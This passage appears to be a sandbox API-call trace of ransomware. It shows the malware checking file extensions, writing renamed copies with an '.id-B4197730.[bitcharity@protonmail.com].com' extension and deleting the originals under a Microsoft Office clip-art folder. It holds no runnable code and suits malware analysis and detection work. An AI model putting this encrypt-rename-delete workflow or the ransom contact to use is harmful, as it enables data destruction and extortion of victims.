[0155.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.485] lstrlenW (lpString=".pdf") returned 4 [0155.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString=".xls") returned 4 [0155.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.485] lstrlenW (lpString=".xlsx") returned 5 [0155.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.485] lstrlenW (lpString=".ppt") returned 4 [0155.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0155.485] lstrlenW (lpString=".zip") returned 4 [0155.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.485] lstrlenW (lpString=".rar") returned 4 [0155.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.485] lstrlenW (lpString=".bz2") returned 4 [0155.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.486] lstrlenW (lpString=".7z") returned 3 [0155.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0155.486] lstrlenW (lpString=".dbf") returned 4 [0155.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0155.486] lstrlenW (lpString=".1cd") returned 4 [0155.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0155.486] lstrlenW (lpString=".jpg") returned 4 [0155.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.487] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.487] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0155.488] GetLastError () returned 0x0 [0155.488] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0155.550] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x3200, lpOverlapped=0x0) returned 1 [0155.551] ReadFile (in: hFile=0x10cc, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.551] WriteFile (in: hFile=0x103c, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.551] SetEndOfFile (hFile=0x103c) returned 1 [0155.551] CloseHandle (hObject=0x103c) returned 1 [0155.555] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.555] SetEndOfFile (hFile=0x10cc) returned 1 [0155.556] CloseHandle (hObject=0x10cc) returned 1 [0155.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0155.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0155.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0155.557] lstrlenW (lpString=".doc") returned 4 [0155.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.557] lstrlenW (lpString=".docx") returned 5 [0155.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.557] lstrlenW (lpString=".pdf") returned 4 [0155.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.558] lstrlenW (lpString=".xls") returned 4 [0155.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.558] lstrlenW (lpString=".xlsx") returned 5 [0155.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.558] lstrlenW (lpString=".ppt") returned 4 [0155.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0155.558] lstrlenW (lpString=".zip") returned 4 [0155.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.558] lstrlenW (lpString=".rar") returned 4 [0155.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.558] lstrlenW (lpString=".bz2") returned 4 [0155.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.558] lstrlenW (lpString=".7z") returned 3 [0155.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0155.558] lstrlenW (lpString=".dbf") returned 4 [0155.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0155.558] lstrlenW (lpString=".1cd") returned 4 [0155.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0155.558] lstrlenW (lpString=".jpg") returned 4 [0155.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.597] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.598] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0155.654] GetLastError () returned 0x0 [0155.654] ReadFile (in: hFile=0x1098, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0155.656] WriteFile (in: hFile=0x1078, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0155.657] ReadFile (in: hFile=0x1098, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.657] WriteFile (in: hFile=0x1078, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.657] SetEndOfFile (hFile=0x1078) returned 1 [0155.657] CloseHandle (hObject=0x1078) returned 1 [0155.658] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.658] SetEndOfFile (hFile=0x1098) returned 1 [0155.659] CloseHandle (hObject=0x1098) returned 1 [0155.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0155.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0155.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0155.660] lstrlenW (lpString=".doc") returned 4 [0155.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.661] lstrlenW (lpString=".docx") returned 5 [0155.661] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.661] lstrlenW (lpString=".pdf") returned 4 [0155.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.661] lstrlenW (lpString=".xls") returned 4 [0155.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.661] lstrlenW (lpString=".xlsx") returned 5 [0155.661] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.661] lstrlenW (lpString=".ppt") returned 4 [0155.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0155.661] lstrlenW (lpString=".zip") returned 4 [0155.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.661] lstrlenW (lpString=".rar") returned 4 [0155.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.661] lstrlenW (lpString=".bz2") returned 4 [0155.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.661] lstrlenW (lpString=".7z") returned 3 [0155.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0155.661] lstrlenW (lpString=".dbf") returned 4 [0155.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0155.661] lstrlenW (lpString=".1cd") returned 4 [0155.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0155.661] lstrlenW (lpString=".jpg") returned 4 [0155.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.662] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.662] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0155.663] GetLastError () returned 0x0 [0155.663] ReadFile (in: hFile=0x1098, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0155.717] WriteFile (in: hFile=0x1078, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0155.718] ReadFile (in: hFile=0x1098, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.718] WriteFile (in: hFile=0x1078, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.718] SetEndOfFile (hFile=0x1078) returned 1 [0155.718] CloseHandle (hObject=0x1078) returned 1 [0155.722] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.723] SetEndOfFile (hFile=0x1098) returned 1 [0155.724] CloseHandle (hObject=0x1098) returned 1 [0155.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0155.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0155.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0155.725] lstrlenW (lpString=".doc") returned 4 [0155.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.725] lstrlenW (lpString=".docx") returned 5 [0155.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.725] lstrlenW (lpString=".pdf") returned 4 [0155.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.725] lstrlenW (lpString=".xls") returned 4 [0155.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.725] lstrlenW (lpString=".xlsx") returned 5 [0155.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.725] lstrlenW (lpString=".ppt") returned 4 [0155.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0155.725] lstrlenW (lpString=".zip") returned 4 [0155.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.725] lstrlenW (lpString=".rar") returned 4 [0155.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.725] lstrlenW (lpString=".bz2") returned 4 [0155.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.725] lstrlenW (lpString=".7z") returned 3 [0155.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0155.725] lstrlenW (lpString=".dbf") returned 4 [0155.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0155.726] lstrlenW (lpString=".1cd") returned 4 [0155.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0155.726] lstrlenW (lpString=".jpg") returned 4 [0155.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.726] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.726] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0155.727] GetLastError () returned 0x0 [0155.727] ReadFile (in: hFile=0x1098, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xf38, lpOverlapped=0x0) returned 1 [0155.809] WriteFile (in: hFile=0x1078, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xf40, lpOverlapped=0x0) returned 1 [0155.811] ReadFile (in: hFile=0x1098, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.811] WriteFile (in: hFile=0x1078, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.811] SetEndOfFile (hFile=0x1078) returned 1 [0155.811] CloseHandle (hObject=0x1078) returned 1 [0155.816] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.816] SetEndOfFile (hFile=0x1098) returned 1 [0155.817] CloseHandle (hObject=0x1098) returned 1 [0155.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0155.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0155.819] lstrlenW (lpString=".doc") returned 4 [0155.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.819] lstrlenW (lpString=".docx") returned 5 [0155.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.819] lstrlenW (lpString=".pdf") returned 4 [0155.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.819] lstrlenW (lpString=".xls") returned 4 [0155.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.819] lstrlenW (lpString=".xlsx") returned 5 [0155.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.819] lstrlenW (lpString=".ppt") returned 4 [0155.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0155.819] lstrlenW (lpString=".zip") returned 4 [0155.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.819] lstrlenW (lpString=".rar") returned 4 [0155.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.819] lstrlenW (lpString=".bz2") returned 4 [0155.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.820] lstrlenW (lpString=".7z") returned 3 [0155.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0155.820] lstrlenW (lpString=".dbf") returned 4 [0155.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0155.820] lstrlenW (lpString=".1cd") returned 4 [0155.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0155.820] lstrlenW (lpString=".jpg") returned 4 [0155.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.860] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.860] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0155.861] GetLastError () returned 0x0 [0155.861] ReadFile (in: hFile=0x10e8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0xed4, lpOverlapped=0x0) returned 1 [0155.894] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xee0, lpOverlapped=0x0) returned 1 [0155.895] ReadFile (in: hFile=0x10e8, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.895] WriteFile (in: hFile=0x10cc, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.896] SetEndOfFile (hFile=0x10cc) returned 1 [0155.896] CloseHandle (hObject=0x10cc) returned 1 [0155.897] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.897] SetEndOfFile (hFile=0x10e8) returned 1 [0155.898] CloseHandle (hObject=0x10e8) returned 1 [0155.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0155.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0155.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0155.899] lstrlenW (lpString=".doc") returned 4 [0155.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.899] lstrlenW (lpString=".docx") returned 5 [0155.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.899] lstrlenW (lpString=".pdf") returned 4 [0155.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.899] lstrlenW (lpString=".xls") returned 4 [0155.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.899] lstrlenW (lpString=".xlsx") returned 5 [0155.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.899] lstrlenW (lpString=".ppt") returned 4 [0155.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0155.899] lstrlenW (lpString=".zip") returned 4 [0155.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.899] lstrlenW (lpString=".rar") returned 4 [0155.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.899] lstrlenW (lpString=".bz2") returned 4 [0155.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.899] lstrlenW (lpString=".7z") returned 3 [0155.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0155.899] lstrlenW (lpString=".dbf") returned 4 [0155.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0155.900] lstrlenW (lpString=".1cd") returned 4 [0155.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0155.900] lstrlenW (lpString=".jpg") returned 4 [0155.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.905] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | 